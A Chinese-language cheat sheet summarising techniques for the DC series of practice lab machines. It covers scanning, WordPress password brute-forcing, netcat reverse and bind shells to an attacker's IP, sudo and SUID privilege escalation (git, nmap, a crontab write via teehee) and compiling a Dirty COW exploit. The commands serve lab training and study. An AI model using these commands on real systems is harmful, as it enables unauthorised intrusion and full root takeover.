DC系列靶机总结-RadeBit瑞安全

常用命令和工具:

metasploit nmap sqlmap 中国蚁剑 冰蝎 dirsearch dirbuster 等常用工具就不在此介绍了

nmap 192.168.26.0/24

nmap -sS -sV -T4 -A -p- 192.168.26.129

whatweb是kali自带的一个信息搜集工具

whatweb  http://dc-2    #常用于信息搜集,获取cms和服务器版本等信息

数据库密码hash解密工具john

john  password.txt   #文件里是hash加密后的密码

cewl是kali自带的一个密码字典生成工具

cewl -w dc_passwords.txt http://dc-2  #按照一定规则,对网站爬取生成密码字典并写入到dc_passwords.txt中

针对wordpress站点可以使用wpscan先爆破该网站的用户名

wpscan --ignore-main-redirect --url 192.168.26.130 --enumerate u --force

通过已经wpscan扫描到的用户名和cewl生成的密码字典可以对目标进行爆破登录

wpscan --ignore-main-redirect --url 192.168.26.130 -U dc-_user.txt -P dc_passwords.txt --force

漏洞搜索:

searchsploit joomla 3.7.0     #搜索joomla 3.7.0的漏洞
msfconsole   #利用msf搜索相关组件漏洞
search joomla 3.7.0

python交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'      #使用python获取交互式shell,实际上也就是模拟了一个虚拟终端

RCE反弹shell的命令:

nc -lvnp 666            #kali先监听666端口
nc 192.168.26.132 666 -e /bin/bash    #在靶机上执行该命令,ip为kali的IP

SSH服务相关命令

开启:/etc/init.d/ssh start

重启:/etc/init.d/ssh restart

关闭:/etc/init.d/ssh stop

状态:/etc/init.d/ssh status
ssh   graham@192.168.26.134       #  @符前为用户名 后面为要登录的服务器IP

目标机器连接kali利用ssh将 exp下载到靶机上来

scp root@192.168.26.20:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/     #靶机上执行  用户名和IP是kali的
scp /path/local_filename username@IP:/path   #kali上执行  用户名和IP是靶机的

涉及到的提权方式:

**Tips:**拿到一个本地普通用户后,往往先要在该用户的家目录下搜索一番,以寻找有用的信息,提权的时候几乎所有的文件操作都在tmp目录下,因为其他目录往往没有权限,所以要时刻注意自己当前所在的目录。

find / -user root -perm -4000 -print 2>/dev/null   #发现具有suid权限的命令

suid之find提权

touch test
find test -exec whoami \;
find te -exec netcat -lvp 5556 -e /bin/sh \;        //在被攻击服务器上执行该命令 监听本地5555端口,用于入站连接
netcat xx.xx.xx.xx 5556                                     //   自己服务器上  使用nc  输入对方ip和端口,去连接,从而获得一个root权限的shell

sudo提权系列:

sudo -l 	#查看可以无密码使用root权限的命令

sudo之git提权

输入以下命令即可提权成功
sudo git help config 
h
!/bin/bash

sudo之teehee提权(方法不唯一)

teehee命令可以对文件进行写入操作,我们可以借此来提权

利用写入定时任务来提权

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab      #  参数 -a,对指定文件进行追加,不覆盖

上面这条命令的意思是在/etc/crontab下写入定时计划,一分钟后由root用户给 /bin/bash 命令加权限(chmod 4777即开启suid和rwx权限),这样当我们再执行/bin/bash的时候就可以获得一个root权限的shell。除此之外还可以利用写入/etc/passwd文件添加一个有root权限的用户来提权。

sudo之nmap提权

我们使用 sudo -l命令发现我们可以不用密码就能以root权限运行nmap

然后我们可以利用nmap来提权

echo 'os.execute("/bin/bash")' > shell      #写一个脚本,调用系统命令执行/bin/bash
sudo nmap --script=shell

由于我们可以以root权限 运行nmap,然后我们让nmap去执行这个shell脚本,从而获取到一个root权限的shell。

脏牛提权

upload /root/dcow.cpp   192.168.26.128 /tmp  #上传exp到靶机的 /tmp目录下
shell
python -c 'import pty;pty.spawn("/bin/bash")'   #优化终端界面,便于操作
cd /tmp
chmod +x dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
##########################################
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread    在Linux中要用到多线程时,需要链接pthread库
-o dcow    gcc生成的目标文件,名字为dcow
##########################################
./dcow               #执行
### 第三方特定版本插件提权

screen4.5.0、exim 4等

### 定时任务提权:

如果定时任务是以root权限运行的,并且低权限用户可以修改定时任务的脚本,那么可以尝试追加或者改写定时任务的脚本来提权,例如在脚本后面追加一行反弹shell的命令来获取到root权限。

## 其他知识点:

### 逃逸出rbash的一些方法